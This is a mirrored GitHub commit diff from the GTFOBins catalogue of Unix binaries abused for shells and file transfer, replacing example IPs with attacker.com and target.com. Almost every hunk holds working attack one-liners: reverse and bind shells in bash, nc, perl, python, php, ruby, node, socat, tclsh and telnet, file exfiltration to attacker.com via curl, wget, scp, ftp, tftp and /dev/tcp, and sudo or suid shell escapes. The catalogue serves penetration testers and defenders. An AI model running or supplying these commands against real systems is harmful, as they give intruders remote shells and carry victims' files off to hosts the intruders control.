mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Use target.com and attacker.com
This commit is contained in:
parent
4bea8d51cc
commit
b857c98f92
@ -9,14 +9,14 @@ functions:
|
|||||||
reverse-shell-non-interactive:
|
reverse-shell-non-interactive:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
|
awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {
|
||||||
s = "/inet/tcp/0/" RHOST "/" RPORT;
|
s = "/inet/tcp/0/" RHOST "/" RPORT;
|
||||||
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
||||||
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
||||||
bind-shell-non-interactive:
|
bind-shell-non-interactive:
|
||||||
- description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end.
|
- description: Run `nc target.com 12345` to connect to the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
LPORT=12345
|
LPORT=12345
|
||||||
awk -v LPORT=$LPORT 'BEGIN {
|
awk -v LPORT=$LPORT 'BEGIN {
|
||||||
|
@ -9,33 +9,33 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file on the other end.
|
- description: Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
|
echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
|
||||||
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end.
|
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
cat $LFILE > /dev/tcp/$RHOST/$RPORT
|
cat $LFILE > /dev/tcp/$RHOST/$RPORT
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_get
|
LFILE=file_to_get
|
||||||
(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
|
(echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
|
||||||
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` to send the file from the other end.
|
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` to send the file from the other end.
|
||||||
code: |-
|
code: |-
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_get
|
LFILE=file_to_get
|
||||||
cat < /dev/tcp/$RHOST/$RPORT > $LFILE
|
cat < /dev/tcp/$RHOST/$RPORT > $LFILE
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
|
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
|
||||||
---
|
---
|
||||||
|
@ -3,13 +3,13 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send local file with an HTTP POST request.
|
- description: Send local file with an HTTP POST request.
|
||||||
code: |
|
code: |
|
||||||
URL=http://10.0.0.1/
|
URL=http://attacker.com/
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
curl -X POST -d @$file_to_send $URL
|
curl -X POST -d @$file_to_send $URL
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |-
|
code: |
|
||||||
export URL=http://10.0.0.1/file_to_get
|
URL=http://attacker.com/file_to_get
|
||||||
export LFILE=file_to_get
|
LFILE=where_to_save
|
||||||
curl $URL -o $LFILE
|
curl $URL -o $LFILE
|
||||||
---
|
---
|
@ -11,13 +11,13 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send local file to a FTP server.
|
- description: Send local file to a FTP server.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
ftp $RHOST
|
ftp $RHOST
|
||||||
put file_to_send
|
put file_to_send
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file from a FTP server.
|
- description: Fetch a remote file from a FTP server.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
ftp $RHOST
|
ftp $RHOST
|
||||||
get file_to_get
|
get file_to_get
|
||||||
---
|
---
|
@ -4,12 +4,12 @@ functions:
|
|||||||
- description: |
|
- description: |
|
||||||
Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end.
|
Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
nc $RHOST $RPORT < "$LFILE"
|
nc $RHOST $RPORT < "$LFILE"
|
||||||
download:
|
download:
|
||||||
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 12345 < "file_to_send"` to send the file from the other end.
|
- description: Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` to send the file from the other end.
|
||||||
code: |-
|
code: |-
|
||||||
LPORT=12345
|
LPORT=12345
|
||||||
LFILE=where_to_save
|
LFILE=where_to_save
|
||||||
@ -17,11 +17,11 @@ functions:
|
|||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
nc -e /bin/sh $RHOST $RPORT
|
nc -e /bin/sh $RHOST $RPORT
|
||||||
bind-shell:
|
bind-shell:
|
||||||
- description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end.
|
- description: Run `nc target.com 12345` to connect to the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
LPORT=12345
|
LPORT=12345
|
||||||
nc -l -p $LPORT -e /bin/sh
|
nc -l -p $LPORT -e /bin/sh
|
||||||
|
@ -12,7 +12,7 @@ functions:
|
|||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=10.0.0.1
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
node -e 'sh = require("child_process").spawn("/bin/sh");
|
node -e 'sh = require("child_process").spawn("/bin/sh");
|
||||||
net.connect(process.env.RPORT, process.env.RHOST, function () {
|
net.connect(process.env.RPORT, process.env.RHOST, function () {
|
||||||
@ -21,7 +21,7 @@ functions:
|
|||||||
sh.stderr.pipe(this);
|
sh.stderr.pipe(this);
|
||||||
});'
|
});'
|
||||||
bind-shell:
|
bind-shell:
|
||||||
- description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end.
|
- description: Run `nc target.com 12345` to connect to the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export LPORT=12345
|
export LPORT=12345
|
||||||
node -e 'sh = require("child_process").spawn("/bin/sh");
|
node -e 'sh = require("child_process").spawn("/bin/sh");
|
||||||
|
@ -9,7 +9,7 @@ functions:
|
|||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=10.0.0.1
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||||
---
|
---
|
@ -28,13 +28,13 @@ functions:
|
|||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |-
|
code: |-
|
||||||
export URL=http://10.0.0.1/file_to_get
|
export URL=http://attacker.com/file_to_get
|
||||||
export LFILE=file_to_get
|
export LFILE=where_to_save
|
||||||
php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);'
|
php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'
|
php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||||
---
|
---
|
@ -9,7 +9,7 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://10.0.0.1/
|
export URL=http://attacker.com/
|
||||||
export LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
python -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
|
python -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
|
||||||
- description: Serve files in the local folder running an HTTP server.
|
- description: Serve files in the local folder running an HTTP server.
|
||||||
@ -19,13 +19,13 @@ functions:
|
|||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |-
|
code: |-
|
||||||
export URL=http://10.0.0.1/file_to_get
|
export URL=http://attacker.com/file_to_get
|
||||||
export LFILE=file_to_get
|
export LFILE=where_to_save
|
||||||
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
||||||
load-library:
|
load-library:
|
||||||
|
@ -9,7 +9,7 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://10.0.0.1/
|
export URL=http://attacker.com/
|
||||||
export LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
python3 -c 'import urllib.request as r,urllib.parse as u;from os import environ as e; r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'
|
python3 -c 'import urllib.request as r,urllib.parse as u;from os import environ as e; r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'
|
||||||
- description: Serve files in the local folder running an HTTP server.
|
- description: Serve files in the local folder running an HTTP server.
|
||||||
@ -19,13 +19,13 @@ functions:
|
|||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://10.0.0.1/file_to_get
|
export URL=http://attacker.com/file_to_get
|
||||||
export LFILE=file_to_get
|
export LFILE=where_to_save
|
||||||
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
|
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
||||||
load-library:
|
load-library:
|
||||||
|
@ -12,7 +12,7 @@ functions:
|
|||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=10.0.0.1
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
load-library:
|
load-library:
|
||||||
|
@ -24,13 +24,13 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send local file to a SSH server.
|
- description: Send local file to a SSH server.
|
||||||
code: |
|
code: |
|
||||||
RPATH=user@10.0.0.1:~/where_to_save
|
RPATH=user@attacker.com:~/where_to_save
|
||||||
LPATH=file_to_send
|
LPATH=file_to_send
|
||||||
scp $LFILE $RPATH
|
scp $LFILE $RPATH
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file from a SSH server.
|
- description: Fetch a remote file from a SSH server.
|
||||||
code: |
|
code: |
|
||||||
RPATH=user@10.0.0.1:~/file_to_get
|
RPATH=user@attacker.com:~/file_to_get
|
||||||
LFILE=where_to_save
|
LFILE=where_to_save
|
||||||
scp $RPATH $LFILE
|
scp $RPATH $LFILE
|
||||||
---
|
---
|
||||||
|
@ -2,24 +2,24 @@
|
|||||||
functions:
|
functions:
|
||||||
exec-interactive:
|
exec-interactive:
|
||||||
- code: |
|
- code: |
|
||||||
HOST=user@10.0.0.1
|
HOST=user@attacker.com
|
||||||
sftp $HOST
|
sftp $HOST
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
HOST=user@10.0.0.1
|
HOST=user@attacker.com
|
||||||
sudo sftp $HOST
|
sudo sftp $HOST
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
upload:
|
upload:
|
||||||
- description: Send local file to a SSH server.
|
- description: Send local file to a SSH server.
|
||||||
code: |
|
code: |
|
||||||
RHOST=user@10.0.0.1
|
RHOST=user@attacker.com
|
||||||
sftp $RHOST
|
sftp $RHOST
|
||||||
put file_to_send where_to_save
|
put file_to_send where_to_save
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file from a SSH server.
|
- description: Fetch a remote file from a SSH server.
|
||||||
code: |
|
code: |
|
||||||
RHOST=user@10.0.0.1
|
RHOST=user@attacker.com
|
||||||
sftp $RHOST
|
sftp $RHOST
|
||||||
get file_to_get where_to_save
|
get file_to_get where_to_save
|
||||||
---
|
---
|
||||||
|
@ -3,11 +3,11 @@ functions:
|
|||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
|
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
|
||||||
bind-shell:
|
bind-shell:
|
||||||
- description: Run <code>socat FILE:`tty`,raw,echo=0 TCP:10.0.0.2:12345</code> to connect to the shell on the other end.
|
- description: Run <code>socat FILE:`tty`,raw,echo=0 TCP:target.com:12345</code> to connect to the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
LPORT=12345
|
LPORT=12345
|
||||||
socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
|
@ -6,14 +6,14 @@ functions:
|
|||||||
download:
|
download:
|
||||||
- description: Fetch a remote file from a SSH server.
|
- description: Fetch a remote file from a SSH server.
|
||||||
code: |
|
code: |
|
||||||
HOST=user@10.0.0.1
|
HOST=user@attacker.com
|
||||||
RPATH=file_to_get
|
RPATH=file_to_get
|
||||||
LPATH=where_to_save
|
LPATH=where_to_save
|
||||||
ssh $HOST "cat $RPATH" > $LPATH
|
ssh $HOST "cat $RPATH" > $LPATH
|
||||||
upload:
|
upload:
|
||||||
- description: Send local file to a SSH server.
|
- description: Send local file to a SSH server.
|
||||||
code: |
|
code: |
|
||||||
HOST=user@10.0.0.1
|
HOST=user@attacker.com
|
||||||
RPATH=where_to_save
|
RPATH=where_to_save
|
||||||
LPATH=file_to_send
|
LPATH=file_to_send
|
||||||
ssh $HOST "cat > $RPATH" < $LPATH
|
ssh $HOST "cat > $RPATH" < $LPATH
|
||||||
|
@ -15,7 +15,7 @@ functions:
|
|||||||
reverse-shell-non-interactive:
|
reverse-shell-non-interactive:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=10.0.0.1
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
|
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
|
||||||
---
|
---
|
@ -1,34 +1,34 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
exec-interactive:
|
exec-interactive:
|
||||||
- description: BSD version only.
|
- description: BSD version only. Needs to be connected first.
|
||||||
code: |
|
code: |
|
||||||
RHOST=www.google.com
|
RHOST=attacker.com
|
||||||
RPORT=80
|
RPORT=12345
|
||||||
telnet $RHOST $RPORT
|
telnet $RHOST $RPORT
|
||||||
^]
|
^]
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
rm $TF
|
rm $TF
|
||||||
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF
|
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- description: BSD version only.
|
- description: BSD version only. Needs to be connected first.
|
||||||
code: |
|
code: |
|
||||||
RHOST=www.google.com
|
RHOST=attacker.com
|
||||||
RPORT=80
|
RPORT=12345
|
||||||
sudo telnet $RHOST $RPORT
|
sudo telnet $RHOST $RPORT
|
||||||
^]
|
^]
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
suid-limited:
|
suid-limited:
|
||||||
- description: BSD version only.
|
- description: BSD version only. Needs to be connected first.
|
||||||
code: |
|
code: |
|
||||||
RHOST=www.google.com
|
RHOST=attacker.com
|
||||||
RPORT=80
|
RPORT=12345
|
||||||
./telnet $RHOST $RPORT
|
./telnet $RHOST $RPORT
|
||||||
^]
|
^]
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
@ -3,13 +3,13 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send local file to a TFTP server.
|
- description: Send local file to a TFTP server.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
tftp $RHOST
|
tftp $RHOST
|
||||||
put file_to_send
|
put file_to_send
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file from a TFTP server.
|
- description: Fetch a remote file from a TFTP server.
|
||||||
code: |
|
code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=attacker.com
|
||||||
tftp $RHOST
|
tftp $RHOST
|
||||||
get file_to_get
|
get file_to_get
|
||||||
---
|
---
|
@ -3,13 +3,13 @@ functions:
|
|||||||
upload:
|
upload:
|
||||||
- description: Send base64-encoded local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
- description: Send base64-encoded local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://10.0.0.1/
|
export URL=http://attacker.com/
|
||||||
export LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL
|
wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://10.0.0.1/file_to_get
|
export URL=http://attacker.com/file_to_get
|
||||||
export LFILE=file_to_get
|
export LFILE=where_to_save
|
||||||
wget $URL -O $LFILE
|
wget $URL -O $LFILE
|
||||||
---
|
---
|
Loading…
Reference in New Issue
Block a user